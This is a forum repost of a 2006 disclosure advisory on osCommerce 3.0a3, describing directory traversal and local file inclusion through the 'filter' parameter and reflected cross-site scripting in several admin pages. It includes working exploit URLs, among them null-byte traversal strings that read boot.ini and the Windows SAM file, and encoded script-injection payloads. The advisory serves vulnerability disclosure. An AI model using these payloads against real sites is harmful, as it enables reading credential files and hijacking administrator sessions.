Jump to content
Don

osCommerce 'admin/templates_boxes_layout.php'

Recommended Posts

Posted
Version(s): 3.0a3
Description: Lostmon reported a vulnerability in osCommerce. A remote user can view files on the target system. A remote user can also conduct cross-site scripting attacks.

The 'admin/templates_boxes_layout.php' does not properly validate user-supplied input in the 'filter' parameter. A remote user can supply a specially crafted request to view files on target system.

Some demonstration exploit URLs are provided:

[url]http://[target]/admin/templates_boxes_layout.php?se[/url] t=boxes&filter=../../our_evil_php_file&lID=27

[url]http://[target]/admin/templates_boxes_layout.php?set=boxes&filter=../../../../file.extension%00[/url]

A remote user can also create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the osCommerce software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Some demonstration exploit URLs are provided:

[url]http://[target]/oscommerce/admin/modules.php?set=shipping[/url]
%22%3E%3Cscr ipt%3Ealert('xss')%3C/script%3E

[url]http://[target]/definitiva/admin/customers.php?selected_box=customers[/url]
%22%3E%3CSCRIPT%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT %3E

[url]http://[target]/oscommerce/admin/languages_definitions.php?lID=1[/url]
%22%3E%3CSCRIPT%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E

[url]http://[target]/oscommerce[/url] /admin/products.php?pID=1%22%3E%3CSCRIPT
%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E&action=new_product

The original advisory is available at:

[url]http://lostmon.blogspot.com/2006/12/oscommerce-traversal-arbitrary-file.html[/url]
Impact: A remote user can view files on the target system.

A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the osCommerce software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution: No solution was available at the time of this entry.
Vendor URL: [url]http://www.oscommerce.com/[/url] (Links to External Site)
Cause: Input validation error
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
Reported By: Lostmon <lostmon@gmail.com>
Message History: None.

Source Message Contents
Date: Thu, 7 Dec 2006 10:31:42 +0100
From: Lostmon <lostmon@gmail.com>
Subject: Oscommerce 3.0a3 traversal arbitrary file access


############################################
Oscommerce traversal arbitrary file access
Vendor:[url]http://www.oscommerce.com/about/news,125[/url]
Advisore:[url]http://lostmon.blogspot.com/2006/12[/url]
/oscommerce-traversal-arbitrary-file.html
Vendor notify:NO Exploit available: YES
###########################################

osCommerce contains a flaw that allows a remote traversal
arbitrary file access.This flaw exists because the application
does not validate filter variable upon submission to
admin/templates_boxes_layout.php script.This could allow a
remote authenticated administrator to create a specially
crafted URL that would execute '../' directory traversal
characters to view files on the target system with
the privileges of the target web service.



####################
versions
####################

Oscommerce 3.0a3


###################
SOLUTION
###################

No solution was available at this time.


################
timeline
################

Discovered:11-11-2006
vendor notify:-----
vendor response:----
disclosure:07-12-2006

#################
Examples
#################

######################
traversal file access
######################

wen we try to open

[url]http://localhost/oscommerce/admin/templates_boxes_layout.php?[/url]
set=boxes&filter=[SOME WORD]&lID=27

the aplication returns a full path disclosure and
returns this error:

Warning: require(includes/templates/[SOME WORD].php) [function.require]:
failed to open stream: No such file or directory in C:AppServwww
oscommerceadmintemplatespagestemplates_boxes_layout.php on line 13

Fatal error: require() [function.require]: Failed opening required
'includes/templates/[SOME WORD].php' (include_path='.;C:php5pear')
in C:AppServwwwoscommerceadmintemplatespagestemplates_
boxes_layout.php on line 13

the aplication add the .php extension to our [SOME WORD] ummm
and it searh for the file in a folder inside webserver
we can include any php file located on the web server
in the aplication and it is executed(local file inclusion)

[url]http://[victim]/admin/templates_boxes_layout.php?[/url]
set=boxes&filter=../../our_evil_php_file&lID=27

if we try to read a file outside webserver folder with a non php
extension can try for test this...

&filter=../../../../file.extension%00 for look for example boot.ini
in a windows system

[url]http://localhost/oscommerce/admin/templates_boxes_layout.php?[/url]
set=boxes&filter=../../../../BOOT.INI%00&lID=27

[url]http://localhost/oscommerce/admin/templates_boxes_layout.php?[/url]
set=content&filter=../../../../windows/repair/sam%00&lID=27

#####################
Cross site scripting
#####################

[url]http://localhost/oscommerce/admin/modules.php?set=shipping[/url]
%22%3E%3Cscript%3Ealert('xss')%3C/script%3E

[url]http://localhost/definitiva/admin/customers.php?selected_box=customers[/url]
%22%3E%3CSCRIPT%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E

[url]http://localhost/oscommerce/admin/languages_definitions.php?lID=1[/url]
%22%3E%3CSCRIPT%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E

[url]http://localhost/oscommerce/admin/products.php?pID=1%22%3E%3CSCRIPT[/url]
%3Ealert(String.fromCharCode(88,83,83))%3C/SCRIPT%3E&action=new_product


######################## €nd #####################

Thnx to Estrella to be my ligth.

--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: [url]http://lostmon.blogspot.com/[/url]
--
La curiosidad es lo que hace mover la mente..

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...